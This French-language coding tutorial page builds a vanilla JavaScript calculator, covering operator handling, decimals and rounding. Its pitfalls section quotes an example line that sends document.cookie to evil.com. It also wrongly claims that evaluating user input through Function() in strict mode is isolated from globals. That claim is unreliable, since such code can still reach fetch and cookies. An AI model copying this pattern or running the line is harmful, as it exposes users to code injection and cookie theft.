Skip to content
← 1001 Widgets
N° 002 · ●○○

Monique Calculator

A complete calculator with an expression display and a result. Made with love for Monique.

HTMLCSSJS
What you'll learn
  • Chain operations without eval()
  • Lay out a grid with CSS Grid
  • Handle edge cases, like division by zero
Why this language

Pourquoi JS vanilla et pas une lib ? Parce que comprendre comment une calculatrice fonctionne t'apprend 3 concepts fondamentaux du JS : la gestion d'état, l'évaluation d'expressions, et la gestion des cas limites (erreurs, double opérateur...).

Ce qu'on construit : Une string "expression" qui se construit au fur et à mesure que l'utilisateur appuie sur les touches. Quand il appuie sur =, on évalue cette expression. C'est le même principe qu'un terminal ou une console JS.

Le vrai défi n'est pas le calcul, c'est la gestion des états bizarres : - Que se passe-t-il si on appuie deux fois sur + ? - Que se passe-t-il si on commence par un opérateur ? - Comment gérer les nombres décimaux (0.1 + 0.2) ?

How it works
  1. L'ÉTAT current = la string d'expression en cours de construction ex: "12+5*3" ou "100-" ou "0.5" justCalc = flag qui indique qu'on vient de calculer Pourquoi ce flag ? Si tu tapes "5+3=8" puis "2", tu veux commencer un nouveau calcul (résultat: 2) et pas continuer l'ancien (résultat: 82)

    let current = ''
    let justCalc = false
    
    function appendVal(v) {
  2. Si on vient de calculer et qu'on tape un chiffre : on repart de zéro. Mais si on tape un opérateur, on continue avec le résultat précédent.

    if (justCalc && !isNaN(v) && v !== '.') current = ''
    justCalc = false
  3. Deux opérateurs consécutifs → on remplace le dernier Exemple : "5+" puis "-" donne "5-" et pas "5+-"

    const ops = ['+', '-', '*', '/']
    if (ops.includes(v) && ops.includes(current.slice(-1))) {
    current = current.slice(0, -1)
    }
  4. Si on commence par un point → on préfixe "0" "." devient "0." pour que "0.5" soit valide

    if (v === '.' && current === '') current = '0'
    
    current += v
    display.textContent = current || '0'
    }
    
    function calcule() {
    if (!current) return
    
    try {
  5. Function() en mode strict = évaluation sécurisée Plus sûr que eval() car isolé dans sa propre portée Pas accès aux variables globales de ta page

    const result = Function('"use strict";return(' + current + ')')()
  6. toFixed(10) évite 0.1+0.2=0.30000000000000004 parseFloat retire les zéros inutiles : "1.50000" → "1.5"

    current = parseFloat(result.toFixed(10)).toString()
    display.textContent = current
    justCalc = true
    
    } catch {
  7. Expression invalide (ex: "5+" sans deuxième opérande)

    display.textContent = 'Erreur syntaxe'
    current = ''
    }
    }
    
    function suppr() {
    current = ''
    display.textContent = '0'
    justCalc = false
    }
Pitfalls & optimisations

PIÈGE 1 : eval() est dangereux ❌ const result = eval(current) → eval() a accès à toutes tes variables globales. Un utilisateur malveillant peut taper : "fetch('https://evil.com?data='+document.cookie)" et exfiltrer des données.

Fix

Function('"use strict";return(' + current + ')')() → Isolé, pas accès au scope global. Bien plus sûr.

PIÈGE 2 : Les virgules flottantes ❌ 0.1 + 0.2 = 0.30000000000000004 en JavaScript → C'est normal, c'est IEEE 754 (la norme des nombres flottants).

Fix

parseFloat(result.toFixed(10)) arrondit à 10 décimales → 0.30000000000000004 devient 0.3

Optimisation 1

Support clavier document.addEventListener('keydown', (e) => { if (e.key >= '0' && e.key <= '9') appendVal(e.key) if (['+','-','*','/'].includes(e.key)) appendVal(e.key) if (e.key === 'Enter' || e.key === '=') calcule() if (e.key === 'Escape') suppr() if (e.key === 'Backspace') { current = current.slice(0, -1) display.textContent = current || '0' } })

Optimisation 2

Historique des calculs const history = []

function calcule() { if (!current) return try { const expr = current const result = Function('"use strict";return(' + expr + ')')() current = parseFloat(result.toFixed(10)).toString() display.textContent = current justCalc = true // Sauvegarde dans l'historique history.unshift({ expr, result: current }) if (history.length > 5) history.pop() renderHistory() } catch { display.textContent = 'Erreur syntaxe' current = '' } }

→ React

ce que tu viens d'apprendre // Ton code vanilla : let current = '' function appendVal(v) { current += v; display.textContent = current }

// Devient en React : const [current, setCurrent] = useState('') const appendVal = (v) => setCurrent(prev => prev + v)

// Le display se met à jour automatiquement // car React re-render quand l'état change. // Plus besoin de display.textContent = current

Customise

Edit the CSS variables and watch the result in real time.

Variants
Comments
0/1000

Loading comments…

Audience measurement

With your consent, this site measures its traffic with Google Analytics and the Meta pixel, via Google Tag Manager. Nothing is loaded until you choose, and you can change your mind at any time with the "Cookies" link at the bottom of the page.